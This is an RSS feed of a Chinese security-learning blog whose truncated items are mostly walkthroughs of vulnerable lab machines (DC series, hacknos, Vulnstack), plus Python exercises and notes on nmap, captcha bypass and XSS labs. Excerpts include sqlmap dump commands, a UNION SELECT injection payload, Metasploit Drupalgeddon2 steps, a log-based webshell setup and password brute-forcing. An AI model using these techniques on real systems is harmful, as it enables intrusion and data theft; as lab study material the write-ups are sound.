<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[ppbgi的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/ppbgi</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; ppbgi]]></copyright><item><title><![CDATA[CHECKIO----HOME]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/121204690</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/121204690</guid><author>ppbgi</author><pubDate>Mon, 20 Dec 2021 21:16:21 +0800</pubDate><description><![CDATA[Sum Numbers

def sum_numbers(text: str) -&gt; int:
    sum = 0
    for i in text.split(" "):
        if i.isdigit():
            sum +=int(i)       
    return sum


if __name__ == '__main__':
    print("Example:")
    print(sum_numbers('hi'))


Even the L]]></description><category></category></item><item><title><![CDATA[CHECKIO---INITIATION]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/120993902</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/120993902</guid><author>ppbgi</author><pubDate>Mon, 08 Nov 2021 11:34:02 +0800</pubDate><description><![CDATA[INITIATION
Multiply(乘法）
'''
题目：
	编写一个接收 2 个数字作为输入的函数，它应该返回这 2 个数字的乘法
'''
"""
例子：
	mult_two(2, 3) == 6
	mult_two(1, 0) == 0
"""
"""
官方的代码：
def mult_two(a, b):
    #自己的代码
    return sum

if __name__ == '__main__':
    print("Example:")
    print(mult_two(3, ]]></description><category></category></item><item><title><![CDATA[DC靶机系列-----9]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/119172220</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/119172220</guid><author>ppbgi</author><pubDate>Wed, 28 Jul 2021 15:33:25 +0800</pubDate><description><![CDATA[信息收集
nmap -sP 192.168..



目标开放80端口，进行访问；


然后在进行目录的收集：

并没什么用。。。。。
在浏览网页时，发现有用户信息：

得到用户信息后，在查询功能处进行查询：



有错误的回显，可能存在SQL注入；
使用sqlmap进行验证：



获得数据库名；接着进行表和数据的获取：
sqlmap.py -r C:\Users\Dell\Desktop\test.txt -p search -D users -tables


sqlmap.py -r C:\User]]></description><category></category></item><item><title><![CDATA[DC靶机-----8]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117902181</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117902181</guid><author>ppbgi</author><pubDate>Mon, 14 Jun 2021 16:08:21 +0800</pubDate><description><![CDATA[信息收集
进行目标的IP查询




进行目标的访问

看到了SQL注入的注入点，进行尝试：



union select group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()






获取用户与密码；




获取交互式shell:

提权




进行脚本的使用：



参考文章：https://www.freesion.com/article/92351385482/
]]></description><category></category></item><item><title><![CDATA[Me-and-My-Girlfriend 靶机]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117822616</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117822616</guid><author>ppbgi</author><pubDate>Fri, 11 Jun 2021 22:32:22 +0800</pubDate><description><![CDATA[信息收集
nmap -sP 192.168.1.1-254





查看源码



]]></description><category></category></item><item><title><![CDATA[DC靶机系列------6]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117437367</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117437367</guid><author>ppbgi</author><pubDate>Tue, 01 Jun 2021 14:20:34 +0800</pubDate><description><![CDATA[进行信息收集

对目标进行ip扫描

arp-scan –interface eth0 192.168.1.0/24



进行目标的访问：



发现输入IP之后会跳到wordy，在本地和kali中的host文件中进行配置；


进行目标的目录收集：



在进行目标网页翻看时，看到是wordpress，使用
wpscan --url http://wordy/ -e 
wpscan --ignore-main-redirect --url 192.168.1.45 --enumerate u --for]]></description><category></category></item><item><title><![CDATA[nmap使用参数]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117434427</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117434427</guid><author>ppbgi</author><pubDate>Tue, 01 Jun 2021 10:11:07 +0800</pubDate><description><![CDATA[在kali中自带的强大的扫描工具，来对其的使用参数与使用方法进行简单的学习！！处理nmap，还有fscan，先来学习nmap!!!
1》 nmap -sP 192.168.1.0-254  nmap -sp 192.168.1.*  nmap -sP 192.168.1.0/24
通过ping该ip可以对该段的ip进行存活扫描
2》 nmap -sS -P0 -sV -O  target
-sS tcp syn 扫描（半开放或隐身扫描） -P0 允许关闭ICMP ping  
-sV 打开系统版本检测   ]]></description><category></category></item><item><title><![CDATA[DC靶机系列------5]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117427447</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117427447</guid><author>ppbgi</author><pubDate>Mon, 31 May 2021 22:13:18 +0800</pubDate><description><![CDATA[进行信息收集

进行目标的ip扫描：

arp-scan –interface eth0 192.168.1.0/24



进行目标开放端口的扫描：

nmap -A 192.168.1.135



目标开放80端口，进行目标的访问：

在进行目标浏览的时候，发现存在一个留言板，进行留言：



留言之后，发现下方发生了变化！！
在提交了留言之后，在url地址栏中可以看到，是GET方式，于是突发奇想，试试文件包含：


没想到竟然成功了！！！

因为没有文件上传的点，所以在日志中看看能否利用日志来进行一]]></description><category></category></item><item><title><![CDATA[DC靶机系列------4]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117338447</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117338447</guid><author>ppbgi</author><pubDate>Sun, 30 May 2021 11:29:09 +0800</pubDate><description><![CDATA[进行目标主机的ip扫描：

namp -sP 192.168.1.1-254



进行开放端口的扫描：
nmap -A 192.168.1.205


进行访问：

利用BP进行用户名与密码的爆破：

爆破后：用户名;admin  密码：happy

]]></description><category></category></item><item><title><![CDATA[Vulnstack(1)]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117251274</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117251274</guid><author>ppbgi</author><pubDate>Tue, 25 May 2021 17:28:03 +0800</pubDate><description><![CDATA[信息收集

进行ip的扫描以及开放端口的探测：




扫描到有80端口，进行访问：


尝试在phpstuday中能获得的信息，发现有输入框，尝试弱口令：




发现可以登录，进行目录后台的扫描：



发现有phpmyadmin目录,进行登录：

然后尝试写入一句话木马来获取shell：

show variables  like  '%general%';   #查看日志状态
SET GLOBAL general_log='on'      #开启general
set global general]]></description><category></category></item><item><title><![CDATA[DC靶机系列------3]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117091402</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117091402</guid><author>ppbgi</author><pubDate>Thu, 20 May 2021 23:36:55 +0800</pubDate><description><![CDATA[一、
进行DC3的配置



二、利用kali进行ip的扫描;



在进行开放端口的扫描：

开放端口只有80端口，而且之joomal cms；
在进行目录的扫描：


然后使用joomscan进行利用
joomscan安装与使用：https://www.freebuf.com/sectool/181440.html

perl joomscan.pl ‐u http://192.168.1.166


同时也得到了joomal 版本与目录

然后利用joomla 3.7的漏洞；
发现Joomla版本号.]]></description><category></category></item><item><title><![CDATA[hacknos靶机-----1]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117035565</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117035565</guid><author>ppbgi</author><pubDate>Wed, 19 May 2021 22:43:06 +0800</pubDate><description><![CDATA[进行虚拟机的安装   参考文档：https://www.w3xue.com/exp/article/20212/69978.html
接下来开始操作


一、利用kali自带的nmap进行ip的扫描

在进行开放端口的扫描：

在本地的浏览器进行访问，成功！

接下来进行目录的扫描：

进行敏感文件的查看，得到了drupal的版本，然后利用msf进行操作：




拿到shell之后，开始进行提权；


生成密码，在kali本地进行下载：

然后在靶机的操作界面中输入：

python3 -c 'impo.]]></description><category></category></item><item><title><![CDATA[后渗透提权]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/116952632</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/116952632</guid><author>ppbgi</author><pubDate>Tue, 18 May 2021 23:01:44 +0800</pubDate><description><![CDATA[信息收集命令
systeminfo  打印系统信息


whoami/priv  当前帐户权限


ipconfig/dispalydns  显示dns信息


route print 打印路由表


arp -a   打印arp表
net user  列出表名
net user username  关于用户的信息
net use \SMBPATH Pa$$wOrd/u:username  连接SMB
net localgroup  列出所有组 
net view\127.0.0.1   会话打开到当前计算]]></description><category></category></item><item><title><![CDATA[DC靶机系列-------2]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/117000674</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/117000674</guid><author>ppbgi</author><pubDate>Tue, 18 May 2021 22:30:48 +0800</pubDate><description><![CDATA[一、扫描ip地址



直接查看无法查看，所以在kali中的hosts中进行配置




二、

flag中提示用cewl，使用cewl生成字典进行爆破；

三、
使用wpscan进行当前用户的扫描：

wpscan --url http://dc-2
wpscan --url http://dc-2/ -e



四、漏洞攻击
利用wpscan来进行密码的爆破；先将之前爆破的用户与之前在页面的flag作的密码结合进行爆破

touch username.txt
vim username.txt
wpsc.]]></description><category></category></item><item><title><![CDATA[DC靶机系列----1]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/116947156</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/116947156</guid><author>ppbgi</author><pubDate>Mon, 17 May 2021 22:27:13 +0800</pubDate><description><![CDATA[一、使用kali中nmap进行ip扫描：




二、

三、进行robots文件的查看：

四 、进行敏感文件的查看，发现：

五、漏洞利用：
寻找Drupal 7.0版本并且进行漏洞利用；

msfconsole
search  drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhost 192.168.1.119
run

反弹shell:

使用pyhton进行交互式反弹shell:
python -c “i.]]></description><category></category></item><item><title><![CDATA[验证码的绕过与防御]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/116463233</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/116463233</guid><author>ppbgi</author><pubDate>Thu, 06 May 2021 22:13:07 +0800</pubDate><description><![CDATA[验证码分类


GIF动态验证码


手机短信验证码


手机语音验证码


视频验证码


原理：



1、验证码在本地验证;关闭本地的js验证；利用BP关闭JS
2、验证码输出到客户端：输出到html代码中
3、验证码输出到cookie中：开始时不需要输入验证码，输入几次错误之后会有验证码的输入，此时会在cookie中设置参数，来进行记录输入错误的次数，可以将该参数删除或固定，来进行爆破
4、服务端：
1）验证码不过期；
2）未进行非空判断：删除cookie中的对验证码的传参部分
3）验证码的库有限
]]></description><category></category></item><item><title><![CDATA[sqllibs靶场进阶（3）]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/116049533</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/116049533</guid><author>ppbgi</author><pubDate>Fri, 23 Apr 2021 12:01:08 +0800</pubDate><description><![CDATA[23------45链接
四十六

]]></description><category></category></item><item><title><![CDATA[SQLLIBS靶场进阶（2）]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/115699723</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/115699723</guid><author>ppbgi</author><pubDate>Wed, 14 Apr 2021 16:28:10 +0800</pubDate><description><![CDATA[1—22关链接
二十三

将#、–+进行了处理



其他同上！
二十四
先进行账号的注册：

登录：

修改密码：初始密码123456 ，修改为234567

用修改的密码登录admin2：

二十五


或者

在尝试的时候，发现&amp;&amp;会报错，但是理论上来讲应该可以，所以用了||

其他同上！

...]]></description><category></category></item><item><title><![CDATA[XSS靶场实战]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/115183510</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/115183510</guid><author>ppbgi</author><pubDate>Tue, 06 Apr 2021 20:05:16 +0800</pubDate><description><![CDATA[XSSLIBS


一、



二、


进行注入后无法执行代码

进行元素查看发现未闭合：

进行闭合：


三、

发现输入的双引号转义了，于是尝试单引号：

发现实体化了，尝试事件注入：

发现事件没有实体化，尝试闭合：


四、


发现&lt;&gt;被替换了，尝试事件：



五、

输入语句后发现有下划线的添加，

尝试事件也无法执行

尝试img标签后，虽然闭合，但是没有执行语句；
尝试伪协议：



六、

尝试过script、img标签以及大小写变换之后，都无法执行，所以尝试伪协议


]]></description><category></category></item><item><title><![CDATA[CORS与JOSNP]]></title><link>https://blog.youkuaiyun.com/ppbgi/article/details/115357106</link><guid>https://blog.youkuaiyun.com/ppbgi/article/details/115357106</guid><author>ppbgi</author><pubDate>Wed, 31 Mar 2021 22:09:19 +0800</pubDate><description><![CDATA[标题

]]></description><category></category></item></channel></rss>